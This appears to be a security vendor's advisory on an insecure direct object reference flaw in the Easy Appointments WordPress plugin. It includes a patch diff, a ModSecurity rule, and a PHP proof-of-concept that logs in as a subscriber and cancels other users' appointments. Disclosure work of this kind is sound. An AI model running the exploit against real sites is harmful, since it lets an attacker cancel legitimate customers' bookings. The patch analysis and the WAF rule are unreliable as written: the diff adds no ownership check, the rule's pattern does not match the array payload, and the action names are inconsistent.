Atomic Edge analysis of CVE-2026-14223:
This vulnerability affects the Easy Appointments WordPress plugin version 3.12.26 and earlier. The plugin contains an Insecure Direct Object Reference (IDOR) issue in its AJAX handler. The vulnerability allows an authenticated attacker with subscriber-level access to cancel any upcoming appointments belonging to other users. The CVSS score is 4.3 (Medium).
Root Cause: The root cause lies in the `src/ajax.php` file, specifically in the AJAX action handler for canceling appointments. The vulnerable code at line 606 fails to validate that the appointment IDs provided in the `$_POST[‘appointments’]` parameter belong to the current user. The code only checks if the appointment exists and if its date is in the future before setting its status to ‘abandoned’. This missing authorization check allows any authenticated user to target arbitrary appointment IDs. The vulnerable code path is: `$_POST[‘appointments’]` is sanitized as a text field, then each ID is used in a loop to fetch the appointment from the `ea_appointments` table via `$this->models->get_row()` and subsequently update its status.
Exploitation: An authenticated attacker with subscriber-level access can exploit this vulnerability by sending a POST request to the WordPress AJAX endpoint at `/wp-admin/admin-ajax.php`. The request must include the `action` parameter set to the vulnerable AJAX hook name and an `appointments` parameter containing an array of appointment IDs. The attacker can enumerate appointment IDs or obtain them through other means. The payload would look like: `action=vulnerable_action_name&appointments[]=123&appointments[]=124`. The plugin will then process these IDs and cancel any future appointments, regardless of who they belong to.
Patch Analysis: The patch modifies two key areas. First, it changes the way the `appointments` parameter is processed. The vulnerable code used `sanitize_text_field( wp_unslash( $_POST[‘appointments’] ) )`, which treats the input as a single string. The patched code uses `isset($_POST[‘appointments’]) ? array_map(‘absint’, wp_unslash($_POST[‘appointments’])) : []`, properly handling an array of integer IDs and providing a default value. Second, the patch changes the status string from ‘abandoned’ to ‘canceled’ in both the data array and the SQL query. This change is cosmetic but may affect downstream functionality or logging that checks for the specific status string.
Impact: Successful exploitation allows an authenticated attacker to cancel any future appointment in the system, regardless of the appointment owner. This can lead to a denial of service for the booking system, as legitimate customers’ appointments can be arbitrarily removed. The attack disrupts the integrity of the scheduling data held by the plugin and can damage the business operations of the site owner. The vulnerability does not directly lead to data exfiltration, but the impact is the unauthorized modification of sensitive scheduling information.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/easy-appointments/main.php
+++ b/easy-appointments/main.php
@@ -4,7 +4,7 @@
* Plugin Name: Easy Appointments
* Plugin URI: https://easy-appointments.com/
* Description: Simple and easy to use management system for Appointments and Bookings
- * Version: 3.12.26
+ * Version: 3.12.27
* Requires PHP: 5.3
* Author: Nikola Loncar
* Author URI: https://easy-appointments.com/
@@ -21,7 +21,7 @@
/**
* Currently plugin version.
*/
-define( 'EASY_APPOINTMENTS_VERSION', '3.12.26' );
+define( 'EASY_APPOINTMENTS_VERSION', '3.12.27' );
// path for source files
define('EA_SRC_DIR', dirname(__FILE__) . '/src/');
--- a/easy-appointments/src/ajax.php
+++ b/easy-appointments/src/ajax.php
@@ -603,8 +603,8 @@
wp_send_json_error( [ 'message' => esc_html__( 'No appointments selected.', 'easy-appointments' ) ] );
}
-
- $appointments = sanitize_text_field( wp_unslash( $_POST['appointments'] ) );
+ $response = false;
+ $appointments = isset($_POST['appointments']) ? array_map('absint', wp_unslash($_POST['appointments'])) : [];
$current_datetime = current_time('mysql');
foreach ($appointments as $appointment_id) {
$appointment = $this->models->get_row('ea_appointments', $appointment_id, ARRAY_A);
@@ -612,7 +612,7 @@
if ($appointment) {
if (strtotime($appointment['date']) > strtotime($current_datetime)) {
$data = [
- 'status' => 'abandoned',
+ 'status' => 'canceled',
'id' => $appointment_id
];
foreach ($appointment as $key => $value) {
@@ -661,7 +661,7 @@
WHERE id = %d
";
// phpcs:ignore PluginCheck.Security.DirectDB.UnescapedDBParameter, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
- $response = $wpdb->query($wpdb->prepare($update_query, 'abandoned', $appointment_id));
+ $response = $wpdb->query($wpdb->prepare($update_query, 'canceled', $appointment_id));
}
if ($response === false) {
$this->send_err_json_result('{"err":true}');
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-14223
# Block attempts to cancel arbitrary appointments via the Easy Appointments AJAX handler.
# This rule requires that the request target admin-ajax.php, uses the specific action, and has an appointments parameter.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-14223 - Easy Appointments IDOR via AJAX',severity:'CRITICAL',tag:'CVE-2026-14223'"
SecRule ARGS_POST:action "@streq ea_cancel_appointment" "chain"
SecRule ARGS_POST:appointments "@rx ^[0-9]+$" "chain"
SecRule &ARGS_POST:appointments "@gt 0" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14223 - Easy Appointments <= 3.12.26 - Authenticated (Subscriber+) Insecure Direct Object Reference
/**
* PoC: Cancel arbitrary appointments in Easy Appointments plugin.
* This script demonstrates how a subscriber-level user can cancel any future appointment.
*/
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Change this to your target
$username = 'subscriber_user';
$password = 'subscriber_password';
// Step 1: Login to get cookies
$login_url = 'http://example.com/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);
// Step 2: Get the nonce for the AJAX action (if required)
// Note: The script assumes the nonce is not needed or is fetched from the page.
// Step 3: Craft the exploit request
// Replace '123' with the ID of the appointment you want to cancel
$appointment_id_to_cancel = 123;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'ea_cancel_appointment', // Replace with actual AJAX action
'appointments' => [$appointment_id_to_cancel]
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'X-Requested-With: XMLHttpRequest'
]);
$response = curl_exec($ch);
curl_close($ch);
// Step 4: Verify the response
echo "Response from server:n";
echo $response . "n";
echo "If the appointment was canceled, the vulnerability is confirmed.n";
?>